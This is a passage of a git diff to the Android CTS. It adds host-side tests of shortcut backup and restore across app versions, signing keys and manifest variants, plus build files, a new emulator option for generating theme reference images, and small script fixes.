+ .areAllNotPinned();
+ }
+}
diff --git a/tests/app/appSdk25/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
similarity index 60%
copy from tests/app/appSdk25/Android.mk
copy to hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
index 36c6d07..537c811 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
@@ -16,20 +16,29 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old_nomanifest
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 67%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
copy to hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
index 9c6a6ad..59dd54e
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
@@ -14,20 +14,22 @@
* See the License for the specific language governing permissions and
* limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="10">
- <application android:label="CtsAlertWindow">
- <activity android:name=".AlertWindowTestActivity"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
<intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index c703e7f..9b8d98a 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -41,6 +41,8 @@
abstract public class BaseShortcutManagerHostTest extends DeviceTestCase implements IBuildReceiver {
protected static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
+ protected static final boolean NO_UNINSTALL_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
+
private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 960b41f..3caacad 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -26,9 +26,22 @@
private static final String LAUNCHER1_APK = "CtsShortcutBackupLauncher1.apk";
private static final String LAUNCHER2_APK = "CtsShortcutBackupLauncher2.apk";
private static final String LAUNCHER3_APK = "CtsShortcutBackupLauncher3.apk";
+ private static final String LAUNCHER4_OLD_APK = "CtsShortcutBackupLauncher4old.apk";
+ private static final String LAUNCHER4_NEW_APK = "CtsShortcutBackupLauncher4new.apk";
+
private static final String PUBLISHER1_APK = "CtsShortcutBackupPublisher1.apk";
private static final String PUBLISHER2_APK = "CtsShortcutBackupPublisher2.apk";
private static final String PUBLISHER3_APK = "CtsShortcutBackupPublisher3.apk";
+ private static final String PUBLISHER4_OLD_APK = "CtsShortcutBackupPublisher4old.apk";
+ private static final String PUBLISHER4_NEW_APK = "CtsShortcutBackupPublisher4new.apk";
+ private static final String PUBLISHER4_NEW_NOBACKUP_APK
+ = "CtsShortcutBackupPublisher4new_nobackup.apk";
+ private static final String PUBLISHER4_NEW_WRONGKEY_APK
+ = "CtsShortcutBackupPublisher4new_wrongkey.apk";
+ private static final String PUBLISHER4_OLD_NO_MANIFST_APK
+ = "CtsShortcutBackupPublisher4old_nomanifest.apk";
+ private static final String PUBLISHER4_NEW_NO_MANIFST_APK
+ = "CtsShortcutBackupPublisher4new_nomanifest.apk";
private static final String LAUNCHER1_PKG =
"android.content.pm.cts.shortcut.backup.launcher1";
@@ -36,12 +49,17 @@
"android.content.pm.cts.shortcut.backup.launcher2";
private static final String LAUNCHER3_PKG =
"android.content.pm.cts.shortcut.backup.launcher3";
+ private static final String LAUNCHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.launcher4";
+
private static final String PUBLISHER1_PKG =
"android.content.pm.cts.shortcut.backup.publisher1";
private static final String PUBLISHER2_PKG =
"android.content.pm.cts.shortcut.backup.publisher2";
private static final String PUBLISHER3_PKG =
"android.content.pm.cts.shortcut.backup.publisher3";
+ private static final String PUBLISHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.publisher4";
private static final int BROADCAST_TIMEOUT_SECONDS = 120;
@@ -59,16 +77,22 @@
clearShortcuts(LAUNCHER1_PKG, getPrimaryUserId());
clearShortcuts(LAUNCHER2_PKG, getPrimaryUserId());
clearShortcuts(LAUNCHER3_PKG, getPrimaryUserId());
+ clearShortcuts(LAUNCHER4_PKG, getPrimaryUserId());
+
clearShortcuts(PUBLISHER1_PKG, getPrimaryUserId());
clearShortcuts(PUBLISHER2_PKG, getPrimaryUserId());
clearShortcuts(PUBLISHER3_PKG, getPrimaryUserId());
+ clearShortcuts(PUBLISHER4_PKG, getPrimaryUserId());
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER1_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER2_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER3_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER1_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER2_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER3_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
waitUntilPackagesGone();
}
@@ -80,14 +104,16 @@
dumpsys("tearDown");
}
- if (mSupportsBackup) {
+ if (mSupportsBackup && !NO_UNINSTALL_IN_TEARDOWN) {
getDevice().uninstallPackage(LAUNCHER1_PKG);
getDevice().uninstallPackage(LAUNCHER2_PKG);
getDevice().uninstallPackage(LAUNCHER3_PKG);
+ getDevice().uninstallPackage(LAUNCHER4_PKG);
getDevice().uninstallPackage(PUBLISHER1_PKG);
getDevice().uninstallPackage(PUBLISHER2_PKG);
getDevice().uninstallPackage(PUBLISHER3_PKG);
+ getDevice().uninstallPackage(PUBLISHER4_PKG);
}
super.tearDown();
@@ -169,8 +195,8 @@
CLog.i("Waiting until all packages are removed from shortcut manager...");
final String packages[] = {
- LAUNCHER1_PKG, LAUNCHER2_PKG, LAUNCHER3_PKG,
- PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG,
+ LAUNCHER1_PKG, LAUNCHER2_PKG, LAUNCHER3_PKG, LAUNCHER4_PKG,
+ PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG, PUBLISHER4_PKG,
};
String dumpsys = "";
@@ -184,9 +210,11 @@
if (dumpsys.contains("Launcher: " + LAUNCHER1_PKG)) continue;
if (dumpsys.contains("Launcher: " + LAUNCHER2_PKG)) continue;
if (dumpsys.contains("Launcher: " + LAUNCHER3_PKG)) continue;
+ if (dumpsys.contains("Launcher: " + LAUNCHER4_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER1_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER2_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER3_PKG)) continue;
+ if (dumpsys.contains("Package: " + PUBLISHER4_PKG)) continue;
dumpsys("Shortcut manager handled broadcasts");
@@ -298,6 +326,353 @@
getPrimaryUserId());
}
+ public void testBackupAndRestore_downgrade() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from the new version and pin them.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Restore the old version of the app, and the launcher.
+ // (But we don't check the launcher's version, so using old is fine.)
+ installAppAsUser(LAUNCHER4_OLD_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnOldVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnOldVersion",
+ getPrimaryUserId());
+
+ // New install the original version. All blocked shortcuts should re-appear.
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnNewVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnNewVersion",
+ getPrimaryUserId());
+
+ }
+
+ public void testBackupAndRestore_backupWasDisabled() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from "nobackup" version.
+
+ installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the "backup-ok" version. But restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testBackupDisabled",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_backupIsDisabled() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testBackupDisabled",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_wrongKey() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_WRONGKEY_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreWrongKey",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreWrongKey",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_noManifestOnOldVersion() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnOldVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnOldVersion",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_noManifestOnNewVersion() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnNewVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoreNoManifestOnNewVersion",
+ getPrimaryUserId());
+ }
+
+ /**
+ * Make sure invisible shortcuts are ignored by all API calls.
+ *
+ * (Restore from new to old-nomanifest)
+ */
+ public void testBackupAndRestore_invisibleIgnored() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_NO_MANIFST_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testInvisibleIgnored",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testInvisibleIgnored",
+ getPrimaryUserId());
+ }
+
public void testBackupAndRestore_withNoUninstall() throws Exception {
if (!mSupportsBackup) {
return;
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 4f93e5a..4bf32cd 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -67,6 +67,22 @@
./cts/hostsidetests/theme/generate_images.py
+There is an option to build locally an Android system image and use an emulator that is stored in
+Android source tree under "prebuilts/android-emulator/linux-x86_64/emulator". This option does not
+require a SDK and can be used to generate images with locally modified source code: for example
+right before making a test breaking change.
+
+ 1. From the console, set up your build environment for sdk_phone_x86_64 and build Android and CTS:
+
+ lunch sdk_phone_x86_64-userdebug && make -j32 && make cts -j32
+
+ 2. Use the reference image script to generate the reference images. The script
+ will automatically start the emulator in the required configurations and
+ install the resulting reference images in assets/<platform>/<dpi>.zip,
+ overwriting any existing images.
+
+ ./cts/hostsidetests/theme/generate_images.py local
+
A complete collection of reference images for a given API revision must include
a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/assets/P b/hostsidetests/theme/assets/P
deleted file mode 120000
index a5c750f..0000000
--- a/hostsidetests/theme/assets/P
+++ /dev/null
@@ -1 +0,0 @@
-27
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/P/260dpi.zip b/hostsidetests/theme/assets/P/260dpi.zip
new file mode 100644
index 0000000..592b4a6
--- /dev/null
+++ b/hostsidetests/theme/assets/P/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/280dpi.zip b/hostsidetests/theme/assets/P/280dpi.zip
new file mode 100644
index 0000000..a7e07a7
--- /dev/null
+++ b/hostsidetests/theme/assets/P/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/300dpi.zip b/hostsidetests/theme/assets/P/300dpi.zip
new file mode 100644
index 0000000..1f38851
--- /dev/null
+++ b/hostsidetests/theme/assets/P/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/340dpi.zip b/hostsidetests/theme/assets/P/340dpi.zip
new file mode 100644
index 0000000..3eb10c8
--- /dev/null
+++ b/hostsidetests/theme/assets/P/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/360dpi.zip b/hostsidetests/theme/assets/P/360dpi.zip
new file mode 100644
index 0000000..7da3a6d
--- /dev/null
+++ b/hostsidetests/theme/assets/P/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/400dpi.zip b/hostsidetests/theme/assets/P/400dpi.zip
new file mode 100644
index 0000000..0b2293a
--- /dev/null
+++ b/hostsidetests/theme/assets/P/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/420dpi.zip b/hostsidetests/theme/assets/P/420dpi.zip
new file mode 100644
index 0000000..8a93daa
--- /dev/null
+++ b/hostsidetests/theme/assets/P/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/560dpi.zip b/hostsidetests/theme/assets/P/560dpi.zip
new file mode 100644
index 0000000..4c975b2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/hdpi.zip b/hostsidetests/theme/assets/P/hdpi.zip
new file mode 100644
index 0000000..38dbf01
--- /dev/null
+++ b/hostsidetests/theme/assets/P/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/ldpi.zip b/hostsidetests/theme/assets/P/ldpi.zip
new file mode 100644
index 0000000..cb8377e
--- /dev/null
+++ b/hostsidetests/theme/assets/P/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/mdpi.zip b/hostsidetests/theme/assets/P/mdpi.zip
new file mode 100644
index 0000000..a57e44c
--- /dev/null
+++ b/hostsidetests/theme/assets/P/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/tvdpi.zip b/hostsidetests/theme/assets/P/tvdpi.zip
new file mode 100644
index 0000000..bae75c2
--- /dev/null
+++ b/hostsidetests/theme/assets/P/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xhdpi.zip b/hostsidetests/theme/assets/P/xhdpi.zip
new file mode 100644
index 0000000..ea545c5
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxhdpi.zip b/hostsidetests/theme/assets/P/xxhdpi.zip
new file mode 100644
index 0000000..7621330
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxxhdpi.zip b/hostsidetests/theme/assets/P/xxxhdpi.zip
new file mode 100644
index 0000000..8690618
--- /dev/null
+++ b/hostsidetests/theme/assets/P/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 4c444a2..2a43129 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -46,8 +46,12 @@
port_adb = find_free_port()
port_tty = find_free_port()
# -no-window might be useful here
- emu_cmd = "%s -avd %s %s-ports %d,%d" \
- % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+ if self._name == "local":
+ emu_cmd = "emulator %s-ports %d,%d -gpu on -wipe-data" \
+ % (self._opts, port_adb, port_tty)
+ else:
+ emu_cmd = "%s -avd %s %s-ports %d,%d" \
+ % (self._emu_path, self._name, self._opts, port_adb, port_tty)
print(emu_cmd)
emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index 8b70f00..5dcc76f 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -50,7 +50,7 @@
class ParallelExecutor(threading.Thread):
- def __init__(self, tasks, q):
+ def __init__(self, tasks, setup, q):
threading.Thread.__init__(self)
self._q = q
self._tasks = tasks
@@ -60,7 +60,7 @@
def run(self):
try:
while True:
- config = q.get(block=True, timeout=2)
+ config = self._q.get(block=True, timeout=2)
for t in self._tasks:
try:
if t(self._setup, config):
@@ -70,7 +70,7 @@
except:
print("Failed to execute thread:", sys.exc_info()[0])
traceback.print_exc()
- q.task_done()
+ self._q.task_done()
except KeyboardInterrupt:
raise
except Empty:
@@ -86,7 +86,7 @@
result = 0
threads = []
for i in range(num_threads):
- t = ParallelExecutor(tasks, q)
+ t = ParallelExecutor(tasks, setup, q)
t.start()
threads.append(t)
for t in threads:
@@ -181,7 +181,10 @@
def start_emulator(name, density):
- emu_path = get_emulator_path()
+ if name == "local":
+ emu_path = ""
+ else:
+ emu_path = get_emulator_path()
# Start emulator for 560dpi, normal screen size.
test_avd = AVD(name, emu_path)
@@ -226,18 +229,21 @@
tasks = [do_capture]
setup = (theme_apk, out_path)
- devices = enumerate_android_devices('emulator')
+ devices = enumerate_android_devices()
- device_queue = Queue()
- for device in devices:
- device_queue.put(device)
+ if len(devices) > 0:
+ device_queue = Queue()
+ for device in devices:
+ device_queue.put(device)
- result = execute_parallel(tasks, setup, device_queue, len(devices))
+ result = execute_parallel(tasks, setup, device_queue, len(devices))
- if result > 0:
- print('Generated reference images for %(count)d devices' % {"count": result})
+ if result > 0:
+ print('Generated reference images for %(count)d devices' % {"count": result})
+ else:
+ print('Failed to generate reference images')
else:
- print('Failed to generate reference images')
+ print('No devices found')
if __name__ == '__main__':
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 5c82e2a..017febc 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -93,7 +93,7 @@
mDevice = getDevice();
mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
- final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+ final String density = getDensityBucketForDevice(mDevice);
final String referenceZipAssetPath = String.format("/%s.zip", density);
mReferences = extractReferenceImages(referenceZipAssetPath);
@@ -231,11 +231,7 @@
return receiver.getOutput().contains("OK ");
}
- private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
- if (hardwareType.contains("android.hardware.type.television")) {
- // references images for tv are under bucket "tvdpi".
- return "tvdpi";
- }
